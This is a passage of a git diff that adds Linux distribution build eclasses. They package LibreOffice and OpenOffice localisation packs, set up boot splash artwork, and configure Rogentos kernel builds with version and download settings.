+L10N_RC_VERSION="rc2"
+LO_BRANCH=$(get_version_component_range 1-2)
+
+BASE_SRC_URI="http://download.documentfoundation.org/libreoffice/stable/${L10N_VER}/rpm"
+SRC_URI=""
+# try guessing
+if [ "${LANGPACK_AVAIL}" = "1" ]; then
+	SRC_URI+="${BASE_SRC_URI}/x86/LibO_${L10N_VER}_Linux_x86_langpack-rpm_${MY_LANG}.tar.gz"
+fi
+if [ "${HELPPACK_AVAIL}" = "1" ]; then
+	SRC_URI+=" ${BASE_SRC_URI}/x86/LibO_${L10N_VER}_Linux_x86_helppack-rpm_${MY_LANG}.tar.gz"
+fi
+
+IUSE=""
+
+EXT_URI="http://ooo.itc.hu/oxygenoffice/download/libreoffice"
+TDEPEND=""
+if [[ "${MY_LANG}" == "en_US" ]]; then
+	for i in ${OO_EXTENSIONS[@]}; do
+		TDEPEND+=" ${EXT_URI}/${i}"
+	done
+	SRC_URI+=" templates? ( ${TDEPEND} )"
+	IUSE+=" templates"
+fi
+
+LICENSE="LGPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+RDEPEND="=app-office/libreoffice-${LO_BRANCH}*"
+DEPEND="dev-util/pkgconfig
+	dev-util/intltool"
+
+S="${WORKDIR}"
+
+OOO_INSTDIR="/usr/$(get_libdir)/libreoffice"
+
+libreoffice-l10n-2_src_unpack() {
+	default
+
+	local lang="${MY_LANG}"
+	local dir=${lang/_/-}
+	# for english we provide just helppack, as translation is always there
+	if [[ "${LANGPACK_AVAIL}" == "1" ]]; then
+		rpmdir="LibO_${L10N_VER}${L10N_RC_VERSION}_Linux_x86_langpack-rpm_${dir}/RPMS/"
+		[[ -d ${rpmdir} ]] || die "Missing directory: \"${rpmdir}\""
+		# First remove dictionaries, we want to use system ones.
+		rm -rf "${S}/${rpmdir}/"*dict*.rpm
+		einfo "Unpacking Langpack"
+		rpm_unpack "./${rpmdir}/"*.rpm
+	fi
+	if [[ "${HELPPACK_AVAIL}" == "1" ]]; then
+		rpmdir="LibO_${L10N_VER}${L10N_RC_VERSION}_Linux_x86_helppack-rpm_${dir}/RPMS/"
+		[[ -d ${rpmdir} ]] || die "Missing directory: \"${rpmdir}\""
+		einfo "Unpacking Helppack"
+		rpm_unpack ./"${rpmdir}/"*.rpm
+	fi
+	if [[ -n "${TDEPEND}" ]]; then
+		if use templates; then
+			for i in ${OO_EXTENSIONS[@]}; do
+				if [[ ! -f "${S}/${i}" ]]; then
+					cp -v "${DISTDIR}/${i}" "${S}"
+					ooextused+=( "${i}" )
+				fi
+                	done
+		fi
+	fi
+	OO_EXTENSIONS=()
+	for i in ${ooextused[@]}; do
+		OO_EXTENSIONS+=( ${i} )
+	done
+}
+
+libreoffice-l10n-2_src_prepare() { :; }
+libreoffice-l10n-2_src_configure() { :; }
+libreoffice-l10n-2_src_compile() { :; }
+
+libreoffice-l10n-2_src_install() {
+	local dir="${S}"/opt/libreoffice${LO_BRANCH}/
+	# Condition required for people that do not install anything eg no linguas
+	# or just english with no offlinehelp.
+	if [[ -d "${dir}" ]] ; then
+		insinto /usr/$(get_libdir)/libreoffice/
+		doins -r "${dir}"/*
+	fi
+	# remove extensions that are in the l10n for some weird reason
+	rm -rf "${ED}"/usr/$(get_libdir)/libreoffice/share/extensions/
+
+	echo "${OO_EXTENSIONS[@]}"
+	office-ext_src_install
+}
+
+libreoffice-l10n-2_pkg_postinst() {
+	office-ext_pkg_postinst
+}
+libreoffice-l10n-2_pkg_prerm() {
+	office-ext_pkg_prerm
+}
diff --git a/eclass/libreoffice-l10n.eclass b/eclass/libreoffice-l10n.eclass
new file mode 100644
index 00000000..dc9c85e3
--- /dev/null
+++ b/eclass/libreoffice-l10n.eclass
@@ -0,0 +1,124 @@
+# Copyright 2004-2010 Sabayon Project
+# Distributed under the terms of the GNU General Public License v2
+# $
+
+inherit base rpm multilib
+
+MY_LANG=${PN/libreoffice-l10n-/}
+MY_LANG=${MY_LANG/_/-}
+PKG_PV="${PV}"
+
+# export all the available functions here
+EXPORT_FUNCTIONS src_unpack src_prepare src_install
+
+# @ECLASS-VARIABLE: L10N_LANG
+# @DESCRIPTION:
+# Localization language name
+L10N_LANG="${L10N_LANG:-${MY_LANG}}"
+
+# @ECLASS-VARIABLE: HELPPACK_AVAIL
+# @DESCRIPTION:
+# Set this to "0" if help pack package is not available
+HELPPACK_AVAIL="${HELPPACK_AVAIL:-1}"
+
+# @ECLASS-VARIABLE: LANGPACK_AVAIL
+# @DESCRIPTION:
+# Set this to "0" if lang pack package is not available
+LANGPACK_AVAIL="${LANGPACK_AVAIL:-1}"
+
+DESCRIPTION="LibreOffice.org ${L10N_LANG} localisation"
+HOMEPAGE="http://www.documentfoundation.org"
+RESTRICT="nomirror"
+OOVER="${PV}"
+OODLVER="${PV}"
+if [[ "${PV}" = "3.4.2.3" ]] || [[ "${PV}" = "3.4.3.2" ]]; then
+	SRC_URI="http://download.documentfoundation.org/libreoffice/stable/3.4.2/rpm/x86/LibO_3.4.2_Linux_x86_langpack-rpm_${MY_LANG}.tar.gz"
+	if [ "${HELPPACK_AVAIL}" = "1" ]; then
+		SRC_URI+=" http://download.documentfoundation.org/libreoffice/stable/3.4.2/rpm/x86/LibO_3.4.2_Linux_x86_helppack-rpm_${MY_LANG}.tar.gz"
+	fi
+elif [[ "${PV}" = "3.4.4.2" ]] || [[ "${PV}" = "3.5.0.0" ]]; then
+	SRC_URI="http://download.documentfoundation.org/libreoffice/stable/3.4.4/rpm/x86/LibO_3.4.4_Linux_x86_langpack-rpm_${MY_LANG}.tar.gz"
+	if [ "${HELPPACK_AVAIL}" = "1" ]; then
+		SRC_URI+=" http://download.documentfoundation.org/libreoffice/stable/3.4.4/rpm/x86/LibO_3.4.4_Linux_x86_helppack-rpm_${MY_LANG}.tar.gz"
+	fi
+	if [[ "${PV}" = "3.5.0.0" ]]; then
+		PKG_PV="3.4"
+	fi
+elif [[ "${PV}" = "3.4.5.2" ]]; then
+	SRC_URI="http://download.documentfoundation.org/libreoffice/stable/3.4.5/rpm/x86/LibO_3.4.5_Linux_x86_langpack-rpm_${MY_LANG}.tar.gz"
+	if [ "${HELPPACK_AVAIL}" = "1" ]; then
+		SRC_URI+=" http://download.documentfoundation.org/libreoffice/stable/3.4.5/rpm/x86/LibO_3.4.5_Linux_x86_helppack-rpm_${MY_LANG}.tar.gz"
+	fi
+elif [[ "${PV}" = "3.5.1.2" ]]; then
+	if [ "${LANGPACK_AVAIL}" = "1" ]; then
+		SRC_URI="http://download.documentfoundation.org/libreoffice/stable/3.5.1/rpm/x86/LibO_3.5.1_Linux_x86_langpack-rpm_${MY_LANG}.tar.gz"
+	fi
+	if [ "${HELPPACK_AVAIL}" = "1" ]; then
+		SRC_URI+=" http://download.documentfoundation.org/libreoffice/stable/3.5.1/rpm/x86/LibO_3.5.1_Linux_x86_helppack-rpm_${MY_LANG}.tar.gz"
+	fi
+else
+	die "unsupported libreoffice-l10n ${PV}"
+fi
+
+LICENSE="LGPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND="~app-office/libreoffice-${PV}"
+DEPEND="dev-util/pkgconfig
+	dev-util/intltool"
+
+S="${WORKDIR}/*/RPMS"
+
+OOO_INSTDIR="/usr/$(get_libdir)/libreoffice"
+
+libreoffice-l10n_src_unpack() {
+	cd "${WORKDIR}"
+	unpack ${A}
+	mkdir "${WORKDIR}/unpack"
+	cd "${WORKDIR}/unpack"
+	rpm_unpack ${S}/*.rpm
+
+	# fix crappy rpms containing
+	# duplicated dirs
+	if [ "${PKG_PV:0:3}" = "3.5" ]; then
+		dict_en_dir="${WORKDIR}/unpack"/opt/libreoffice${PKG_PV:0:3}/share/extensions/dict-en
+		rm -rf "${dict_en_dir}"
+	fi
+}
+
+libreoffice-l10n_src_prepare() {
+	einfo "nothing to prepare"
+}
+
+libreoffice-l10n_src_install() {
+	dodir "${OOO_INSTDIR}/basis-link"
+	if [[ "${PKG_PV:0:3}" = "3.3" ]]; then
+		cp -R "${WORKDIR}"/unpack/opt/libreoffice/basis${PKG_PV:0:3}/* \
+		"${ED}${OOO_INSTDIR}/basis-link/" || die "cannot copy"
+		cp -R "${WORKDIR}"/unpack/opt/libreoffice/{program,readmes} \
+			"${ED}${OOO_INSTDIR}/" || die "cannot copy"
+	elif [[ "${PKG_PV:0:3}" = "3.4" ]]; then
+		if [[ "${PV:0:3}" = "3.4" ]]; then
+			cp -R "${WORKDIR}"/unpack/opt/libreoffice${PKG_PV:0:3}/basis${PKG_PV:0:3} \
+				"${ED}${OOO_INSTDIR}"/basis${PV:0:3} || die "cannot copy"
+		else
+			# 3.5 with old l10ns
+			cp -R "${WORKDIR}"/unpack/opt/libreoffice${PKG_PV:0:3}/basis${PKG_PV:0:3}/* \
+				"${ED}${OOO_INSTDIR}"/ || die "cannot copy"
+		fi
+		for source_dir in "${WORKDIR}"/unpack/opt/libreoffice${PKG_PV:0:3}/{program,readmes}; do
+			if [ -d "${source_dir}" ]; then
+				cp -R "${source_dir}" "${ED}${OOO_INSTDIR}/" || die "cannot copy"
+			fi
+		done
+	else
+		for source_dir in "${WORKDIR}"/unpack/opt/libreoffice${PKG_PV:0:3}/{help,program,readmes,share}; do
+			if [ -d "${source_dir}" ]; then
+				cp -R "${source_dir}" "${ED}${OOO_INSTDIR}/" || die "cannot copy"
+			fi
+		done
+	fi
+	chown root:root "${ED}/${OOO_INSTDIR}" -R || die "cannot chown"
+}
diff --git a/eclass/openoffice-l10n.eclass b/eclass/openoffice-l10n.eclass
new file mode 100644
index 00000000..46d15d76
--- /dev/null
+++ b/eclass/openoffice-l10n.eclass
@@ -0,0 +1,68 @@
+# Copyright 2004-2010 Sabayon Project
+# Distributed under the terms of the GNU General Public License v2
+# $
+
+EAPI="2"
+
+inherit base rpm multilib
+
+MY_LANG=${PN/openoffice-l10n-/}
+MY_LANG=${MY_LANG/_/-}
+MY_PV="${PV/_/}"
+
+# export all the available functions here
+EXPORT_FUNCTIONS src_unpack src_prepare src_install
+
+# @ECLASS-VARIABLE: L10N_LANG
+# @DESCRIPTION:
+# Localization language name
+L10N_LANG="${L10N_LANG:-${MY_LANG}}"
+
+DESCRIPTION="OpenOffice.org ${L10N_LANG} localisation"
+HOMEPAGE="http://projects.openoffice.org/native-lang.html"
+if [[ "${PV}" = "3.2.0" ]]; then
+	SRC_URI="mirror://openoffice-extended/${PV}rc5/OOo_${PV}rc5_20100203_LinuxIntel_langpack_${MY_LANG}.tar.gz"
+elif [[ "${PV}" = "3.2.1" ]]; then
+	SRC_URI="mirror://openoffice-extended/${PV}rc2/OOo_${PV}rc2_20100521_Linux_x86_langpack-rpm_${MY_LANG}.tar.gz"
+else
+	SRC_URI="--NOT_SET_SEE_openoffice-l10n.eclass--"
+fi
+
+LICENSE="LGPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND="~app-office/openoffice-${PV}"
+DEPEND="dev-util/pkgconfig
+	dev-util/intltool"
+
+S="${WORKDIR}/*/RPMS"
+
+OOO_INSTDIR="/usr/$(get_libdir)/openoffice"
+
+openoffice-l10n_src_unpack() {
+	cd "${WORKDIR}"
+	unpack "${A}"
+	mkdir "${WORKDIR}/unpack"
+	cd "${WORKDIR}/unpack"
+	rpm_unpack ${S}/*.rpm
+}
+
+openoffice-l10n_src_prepare() {
+	einfo "nothing to prepare"
+}
+
+openoffice-l10n_src_install() {
+	dodir "${OOO_INSTDIR}"
+	local MY_SRC="${WORKDIR}/unpack/opt/openoffice.org/*"
+	local MY_SRC2="${WORKDIR}/unpack/opt/openoffice.org3/*"
+	cp -R ${MY_SRC} "${D}${OOO_INSTDIR}/" || die "cannot copy"
+	cp -R ${MY_SRC2} "${D}${OOO_INSTDIR}/basis${PV:0:3}/" || die "cannot copy"
+	# FIXME: upstream bug, localisations listed below try to install the same file
+	# as ast bg bn dz el eo fi ga gu hi_IN km ku lv mk ml mr my oc om or pa_IN si ta te tr ug uk uz
+	local dict_file="${D}${OOO_INSTDIR}/basis${PV:0:3}/share/extension/install/dict-en.oxt"
+	[[ -f "${dict_file}" ]] && ewarn "Removing ${dict_file} due to collisions..." \
+		&& rm -f "${dict_file}"
+	chown root:root ${D}/${OOO_INSTDIR} -R
+}
diff --git a/eclass/rogentos-artwork.eclass b/eclass/rogentos-artwork.eclass
new file mode 100644
index 00000000..3f51fef9
--- /dev/null
+++ b/eclass/rogentos-artwork.eclass
@@ -0,0 +1,62 @@
+# Copyright 2004-2009 Sabayon Project
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors: Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+# $
+
+inherit eutils
+
+# @ECLASS-VARIABLE: KERN_INITRAMFS_SEARCH_NAME
+# @DESCRIPTION:
+# Argument used by `find` to search inside ${ROOT}boot Linux
+# Kernel initramfs files to patch
+KERN_INITRAMFS_SEARCH_NAME="${KERN_INITRAMFS_SEARCH_NAME:-initramfs-genkernel*}"
+
+# @ECLASS-VARIABLE: GFX_SPLASH_NAME
+# @DESCRIPTION:
+# Default splash theme name to use
+GFX_SPLASH_NAME="${GFX_SPLASH_NAME:-rogentos}"
+
+# @FUNCTION: update_kernel_initramfs_splash
+# @USAGE: update_kernel_initramfs_splash [splash_theme] [splash_file]
+# @RETURN: 1, if something went wrong
+#
+# @MAINTAINER:
+# Brindusa Stefan Cristian
+# @AUTHOR:
+# Fabio Erculiani
+update_kernel_initramfs_splash() {
+
+	[[ -z "${2}" ]] && die "wrong update_kernel_splash arguments"
+
+	if ! has_version "media-gfx/splashutils"; then
+		ewarn "media-gfx/splashutils not found, cannot update kernel splash"
+		return 1
+	fi
+	splash_geninitramfs -a "${2}" ${1}
+	return ${?}
+
+}
+
+# @FUNCTION: update_sabayon_kernel_initramfs_splash
+# @USAGE: update_sabayon_kernel_initramfs_splash
+#
+# @AUTHOR:
+# Fabio Erculiani
+# @MAINTAINER:
+# Brindusa Stefan Cristian
+update_sabayon_kernel_initramfs_splash() {
+	local splash_name="${GFX_SPLASH_NAME}"
+	local override_splash_file="${ROOT}etc/${splash_name}"
+	if [ -f "${override_splash_file}" ]; then
+		found_splash_name=$(cat "${override_splash_file}" | cut -d" " -f 1)
+		if [ -d "/etc/splash/${found_splash_name}" ]; then
+			splash_name="${found_splash_name}"
+		fi
+	fi
+	for bootfile in `find ${ROOT}boot -name "${KERN_INITRAMFS_SEARCH_NAME}"`; do
+		einfo "Updating boot splash for ${bootfile}"
+		update_kernel_initramfs_splash "${GFX_SPLASH_NAME}" "${bootfile}"
+	done
+}
diff --git a/eclass/rogentos-kernel.eclass b/eclass/rogentos-kernel.eclass
new file mode 100644
index 00000000..7945398e
--- /dev/null
+++ b/eclass/rogentos-kernel.eclass
@@ -0,0 +1,967 @@
+# Copyright 2004-2014 RogentOS Team
+# Distributed under the terms of the GNU General Public License v2
+# $
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_NAME
+# @DESCRIPTION:
+# The kernel name used by the ebuild, it should be the ending ${PN} part
+# for example, of linux-rogentos it is "${PN/${PN/-*}-}" (rogentos)
+K_ROGKERNEL_NAME="${K_ROGKERNEL_NAME:-${PN/${PN/-*}-}}"
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_SELF_TARBALL_NAME
+# @DESCRIPTION:
+# If the main kernel sources tarball is generated in-house and available
+# on the "rogentos" mirror, set this variable to the extension name (see example
+# below). This will disable ALL the extra/local patches (since they have to
+# be applied inside the tarball). Moreover, K_ROGKERNEL_NAME,
+# K_KERNEL_PATCH_VER will be ignored.
+# Example:
+#   K_ROGKERNEL_SELF_TARBALL_NAME="rogentos"
+#   This would generate:
+#   SRC_URI="mirror://rogentos/sys-kernel/linux-${PV}+rogentos.tar.${K_TARBALL_EXT}"
+K_ROGKERNEL_SELF_TARBALL_NAME="${K_ROGKERNEL_SELF_TARBALL_NAME:-}"
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_PATCH_UPSTREAM_TARBALL
+# @DESCRIPTION:
+# If set to 1, the ebuild will fetch the upstream kernel tarball and
+# apply the RogentOS patch against it. This strategy avoids the need of
+# creating complete kernel source tarballs. The default value is 0.
+K_ROGKERNEL_PATCH_UPSTREAM_TARBALL="${K_ROGKERNEL_PATCH_UPSTREAM_TARBALL:-0}"
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_FORCE_SUBLEVEL
+# @DESCRIPTION:
+# Force the rewrite of SUBLEVEL in kernel sources Makefile
+K_ROGKERNEL_FORCE_SUBLEVEL="${K_ROGKERNEL_FORCE_SUBLEVEL:-}"
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_RESET_EXTRAVERSION
+# @DESCRIPTION:
+# Force the rewrite of EXTRAVERSION in kernel sources Makefile (setting it to "")
+K_ROGKERNEL_RESET_EXTRAVERSION="${K_ROGKERNEL_RESET_EXTRAVERSION:-}"
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_LONGTERM
+# @DESCRIPTION:
+# Consider Kernel stable patchset as longterm (changing URL)
+K_ROGKERNEL_LONGTERM="${K_ROGKERNEL_LONGTERM:-}"
+
+# @ECLASS-VARIABLE: K_KERNEL_SOURCES_PKG
+# @DESCRIPTION:
+# The kernel sources package used to build this kernel binary
+K_KERNEL_SOURCES_PKG="${K_KERNEL_SOURCES_PKG:-${CATEGORY}/${PN/*-}-sources-${PVR}}"
+
+# @ECLASS-VARIABLE: K_KERNEL_PATCH_VER
+# @DESCRIPTION:
+# If set to "3" for example, it applies the upstream kernel
+# patch corresponding to patch-${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}.3.${K_TARBALL_EXT}
+# @TODO: deprecate and remove once 2.6.x kernels are retired
+K_KERNEL_PATCH_VER="${K_KERNEL_PATCH_VER:-}"
+
+# @ECLASS-VARIABLE: K_KERNEL_PATCH_HOTFIXES
+# @DESCRIPTION:
+# If there is the need to quickly apply patches to the kernel
+# without bumping the kernel patch tarball (for eg. in case
+# of just released security fixes), set this variable in your ebuild
+# pointing to space separated list of patch paths.
+K_KERNEL_PATCH_HOTFIXES="${K_KERNEL_PATCH_HOTFIXES:-}"
+
+# @ECLASS-VARIABLE: K_KERNEL_DISABLE_PR_EXTRAVERSION
+# @DESCRIPTION:
+# Set this to "1" if you want to tell kernel-2 eclass to
+# not use ${PR} in kernel EXTRAVERSION (K_NOUSEPR). Otherwise, set
+# this to "0" to not set K_NOUSEPR at all.
+K_KERNEL_DISABLE_PR_EXTRAVERSION="${K_KERNEL_DISABLE_PR_EXTRAVERSION:-1}"
+
+# @ECLASS-VARIABLE: K_KERNEL_SLOT_USEPVR
+# @DESCRIPTION:
+# Set this to "1" if you want to use ${PVR} in SLOT variable, instead of ${PV}
+# sys-kernel/linux-vserver (vserver-sources) require this. This won't work for
+# firmware pkgs.
+K_KERNEL_SLOT_USEPVR="${K_KERNEL_SLOT_USEPVR:-0}"
+
+# @ECLASS-VARIABLE: K_KERNEL_NEW_VERSIONING
+# @DESCRIPTION:
+# Set this to "1" if your kernel ebuild uses the new Linux kernel upstream
+# versioning and ${PV} contains the stable revision, like 3.7.1.
+# In the example above, this makes the SLOT variable contain only "3.7".
+# The sublevel version can be forced using K_ROGKERNEL_FORCE_SUBLEVEL
+K_KERNEL_NEW_VERSIONING="${K_KERNEL_NEW_VERSIONING:-0}"
+
+# @ECLASS-VARIABLE: K_KERNEL_IMAGE_NAME
+# @DESCRIPTION:
+# Set this to a custom kernel image make target if the default does not
+# fit your needs. This value if set, is passed to genkernel through the
+# --kernel-target= flag.
+K_KERNEL_IMAGE_NAME="${K_KERNEL_IMAGE_NAME:-}"
+
+# @ECLASS-VARIABLE: K_KERNEL_LTS
+# @DESCRIPTION:
+# Set this to 1 to mark the kernel as Long Term Stable. "virtual/linux-binary-lts"
+# shall be appended to ${PROVIDE}.
+K_KERNEL_LTS="${K_KERNEL_LTS:-}"
+
+# @ECLASS-VARIABLE: K_KERNEL_IMAGE_PATH
+# @DESCRIPTION:
+# Set this to a custom relative kernel image path to override the default
+# one. This value if set, is passed to genkernel through the
+# --kernel-binary= flag.
+K_KERNEL_IMAGE_PATH="${K_KERNEL_IMAGE_PATH:-}"
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_FIRMWARE
+# @DESCRIPTION:
+# Set this to "1" if your ebuild is a kernel firmware package
+K_FIRMWARE_PACKAGE="${K_FIRMWARE_PACKAGE:-}"
+
+# @ECLASS-VARIABLE: K_ONLY_SOURCES
+# @DESCRIPTION:
+# For every kernel binary package, there is a kernel source package associated
+# if your ebuild is one of them, set this to "1"
+K_ONLY_SOURCES="${K_ONLY_SOURCES:-}"
+
+# @ECLASS-VARIABLE: K_REQUIRED_LINUX_FIRMWARE_VER
+# @DESCRIPTION:
+# Minimum required version of sys-kernel/linux-formware package, if any
+K_REQUIRED_LINUX_FIRMWARE_VER="${K_REQUIRED_LINUX_FIRMWARE_VER:-}"
+
+# @ECLASS-VARIABLE: K_WORKAROUND_SOURCES_COLLISION
+# @DESCRIPTION:
+# For kernel binary packages, Workaround file collisions with kernel
+# sources already providing certain files (like Makefile). Used
+# by linux-openvz and linux-vserver
+K_WORKAROUND_SOURCES_COLLISION="${K_WORKAROUND_SOURCES_COLLISION:-}"
+
+# @ECLASS-VARIABLE: K_WORKAROUND_USE_REAL_EXTRAVERSION
+# @DESCRIPTION:
+# Some kernel sources are shipped with their own EXTRAVERSION and
+# we're kindly asked to not touch it, if this is your case, set
+# this variable and depmod will work correctly.
+K_WORKAROUND_USE_REAL_EXTRAVERSION="${K_WORKAROUND_USE_REAL_EXTRAVERSION:-}"
+
+# @ECLASS-VARIABLE: K_ROGKERNEL_ZFS
+# @DESCRIPTION:
+# If set, this kernel features ZFS.
+K_ROGKERNEL_ZFS="${K_ROGKERNEL_ZFS:-}"
+
+# @ECLASS-VARIABLE: K_GENKERNEL_ARGS
+# @DESCRIPTION:
+# Provide extra genkernel arguments using K_GENKERNEL_ARGS
+K_GENKERNEL_ARGS="${K_GENKERNEL_ARGS:-}"
+
+# @ECLASS-VARIABLE: K_MKIMAGE_RAMDISK_ADDRESS
+# @DESCRIPTION:
+# [ARM ONLY] Provide the ramdisk load address to be used with mkimage
+K_MKIMAGE_RAMDISK_ADDRESS="${K_MKIMAGE_RAMDISK_ADDRESS:-}"
+
+# @ECLASS-VARIABLE: K_MKIMAGE_RAMDISK_ENTRYPOINT
+# @DESCRIPTION:
+# [ARM ONLY] Provide the ramdisk entry point address to be used with mkimage
+K_MKIMAGE_RAMDISK_ENTRYPOINT="${K_MKIMAGE_RAMDISK_ENTRYPOINT:-}"
+
+# @ECLASS-VARIABLE: K_MKIMAGE_WRAP_INITRAMFS
+# @DESCRIPTION:
+# [ARM ONLY] Execute mkimage against the generated initramfs Default is yes ("1").
+K_MKIMAGE_WRAP_INITRAMFS="${K_MKIMAGE_WRAP_INITRAMFS:-1}"
+
+# @ECLASS-VARIABLE: K_MKIMAGE_KERNEL_ADDRESS
+# @DESCRIPTION:
+# [ARM ONLY] Provide the kernel load address to be used with mkimage
+K_MKIMAGE_KERNEL_ADDRESS="${K_MKIMAGE_KERNEL_ADDRESS:-}"
+
+KERN_INITRAMFS_SEARCH_NAME="${KERN_INITRAMFS_SEARCH_NAME:-initramfs-genkernel*${K_ROGKERNEL_NAME}}"
+
+# Disable deblobbing feature
+K_DEBLOB_AVAILABLE=0
+ETYPE="sources"
+K_TARBALL_EXT="${K_TARBALL_EXT:-xz}"
+
+inherit versionator
+if [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then
+	CKV="$(get_version_component_range 1-2)"
+fi
+
+inherit eutils multilib kernel-2 rogentos-artwork mount-boot linux-info
+
+# from kernel-2 eclass
+detect_version
+detect_arch
+
+DESCRIPTION="Kogaion, Argent and ArgOS linux kernel functions and phases"
+
+
+K_LONGTERM_URL_STR=""
+if [ -n "${K_ROGKERNEL_LONGTERM}" ]; then
+	K_LONGTERM_URL_STR="/longterm/v${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+fi
+
+## kernel-2 eclass settings
+if [ "${K_ROGKERNEL_PATCH_UPSTREAM_TARBALL}" = "1" ]; then
+	_patch_name="$(get_version_component_range 1-2)-${K_ROGKERNEL_SELF_TARBALL_NAME}-${PVR}.patch.xz"
+	SRC_URI="${KERNEL_URI}
+		mirror://rogentos/${CATEGORY}/${_patch_name}
+	"
+	UNIPATCH_LIST="${UNIPATCH_LIST} ${DISTDIR}/${_patch_name}"
+	unset _patch_name
+elif [ -n "${K_ROGKERNEL_SELF_TARBALL_NAME}" ]; then
+	SRC_URI="mirror://rogentos/${CATEGORY}/linux-${PVR}+${K_ROGKERNEL_SELF_TARBALL_NAME}.tar.${K_TARBALL_EXT}"
+else
+	SRC_URI="${KERNEL_URI}"
+fi
+
+if [ -z "${K_ROGKERNEL_SELF_TARBALL_NAME}" ]; then
+	if [ -n "${K_KERNEL_PATCH_VER}" ]; then
+		K_PATCH_NAME="patch-${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}.${K_KERNEL_PATCH_VER}.${K_TARBALL_EXT}"
+		SRC_URI="${SRC_URI}
+			mirror://kernel/linux/kernel/v${KV_MAJOR}.${KV_MINOR}${K_LONGTERM_URL_STR}/${K_PATCH_NAME}"
+		UNIPATCH_LIST="${DISTDIR}/${K_PATCH_NAME}
+			${UNIPATCH_LIST}"
+	fi
+fi
+if [ -n "${K_KERNEL_PATCH_HOTFIXES}" ]; then
+	UNIPATCH_LIST="${UNIPATCH_LIST} ${K_KERNEL_PATCH_HOTFIXES}"
+fi
+
+_get_real_kv_full() {
+	if [[ "${KV_MAJOR}${KV_MINOR}" -eq 26 ]]; then
+		echo "${ORIGINAL_KV_FULL}"
+	elif [[ "${OKV/.*}" = "3" ]]; then
+		# Linux 3.x support, KV_FULL is set to: 3.0-rogentos
+		# need to add another final .0 to the version part
+		echo "${ORIGINAL_KV_FULL/-/.0-}"
+	else
+		echo "${ORIGINAL_KV_FULL}"
+	fi
+}
+
+# replace "linux" with K_ROGKERNEL_NAME, usually replaces
+# "linux" with "rogentos" or "server" or "openvz"
+KV_FULL="${KV_FULL/${PN/-*}/${K_ROGKERNEL_NAME}}"
+EXTRAVERSION="${EXTRAVERSION/${PN/-*}/${K_ROGKERNEL_NAME}}"
+# drop -rX if exists
+if [[ -n "${PR//r0}" ]] && [[ "${K_KERNEL_DISABLE_PR_EXTRAVERSION}" = "1" ]] \
+		&& [[ -z "${K_NOSETEXTRAVERSION}" ]]; then
+	EXTRAVERSION="${EXTRAVERSION%-r*}"
+	KV_FULL="${KV_FULL%-r*}"
+	KV="${KV%-r*}"
+fi
+# rewrite it
+ORIGINAL_KV_FULL="${KV_FULL}"
+KV_FULL="$(_get_real_kv_full)"
+
+# Starting from linux-3.0, we still have to install
+# sources stuff into /usr/src/linux-3.0.0-rogentos (example)
+# where the last part must always match uname -r
+# otherwise kernel-switcher (and RELEASE_LEVEL file)
+# will complain badly
+KV_OUT_DIR="/usr/src/linux-${KV_FULL}"
+S="${WORKDIR}/linux-${KV_FULL}"
+
+
+if [ -n "${K_FIRMWARE_PACKAGE}" ]; then
+	SLOT="0"
+elif [ "${K_KERNEL_SLOT_USEPVR}" = "1" ]; then
+	SLOT="${PVR}"
+elif [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then
+	SLOT="$(get_version_component_range 1-2)"
+else
+	SLOT="${PV}"
+fi
+
+_is_kernel_binary() {
+	if [ -z "${K_ONLY_SOURCES}" ] && [ -z "${K_FIRMWARE_PACKAGE}" ]; then
+		# yes it is
+		return 0
+	else
+		# no it isn't
+		return 1
+	fi
+}
+
+_is_kernel_lts() {
+	local _ver="$(get_version_component_range 1-2)"
+	[ "${_ver}" = "3.0" ] && return 0
+	[ "${_ver}" = "3.2" ] && return 0
+	[ "${_ver}" = "3.4" ] && return 0
+	[ "${_ver}" = "3.10" ] && return 0
+	return 1
+}
+
+# provide extra virtual pkg
+if _is_kernel_binary; then
+	PROVIDE="virtual/linux-binary"
+# LTS support
+	if [ "${K_KERNEL_LTS}" = "1" ] || _is_kernel_lts; then
+		PROVIDE+=" virtual/linux-binary-lts"
+	fi
+fi
+
+if [ -n "${K_ROGKERNEL_SELF_TARBALL_NAME}" ]; then
+	HOMEPAGE="https://github.com/Rogentos/kernel"
+else
+	HOMEPAGE="http://www.rogentos.ro"
+fi
+
+# Returns success if _set_config_file_vars was called.
+_is_config_file_set() {
+	[[ ${_config_file_set} = 1 ]]
+}
+
+# Returns the arm kernel config file extension for the current subarch
+_get_arm_subarch() {
+	local target="${CTARGET:-${CHOST}}"
+	local arm_arch=${target%%-*}
+	if [[ ${arm_arch} == armv7? ]]; then
+		echo "armv7"
+	elif [[ ${arm_arch} == armv6? ]]; then
+		echo "armv6"
+	elif [[ ${arm_arch} == armv5? ]]; then
+		echo "armv5"
+	fi
+}
+
+_get_arch() {
+	if use arm; then
+		_get_arm_subarch
+	elif use amd64; then
+		echo "amd64"
+	elif use x86; then
+		echo "x86"
+	fi
+}
+
+_set_config_file_vars() {
+	# Setup kernel configuration file name
+	local pvr="${PVR}"
+	local pv="${PV}"
+	if [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then
+		pvr="$(get_version_component_range 1-2)"
+		pv="${pvr}"
+		if [ "${PR}" != "r0" ]; then
+			pvr+="-${PR}"
+		fi
+	fi
+
+	K_ROGKERNEL_CONFIG_FILES=()
+	K_ROGKERNEL_CONFIG_FILES+=( "${K_ROGKERNEL_NAME}-${pvr}-$(_get_arch).config" )
+	K_ROGKERNEL_CONFIG_FILES+=( "${K_ROGKERNEL_NAME}-${pv}-$(_get_arch).config" )
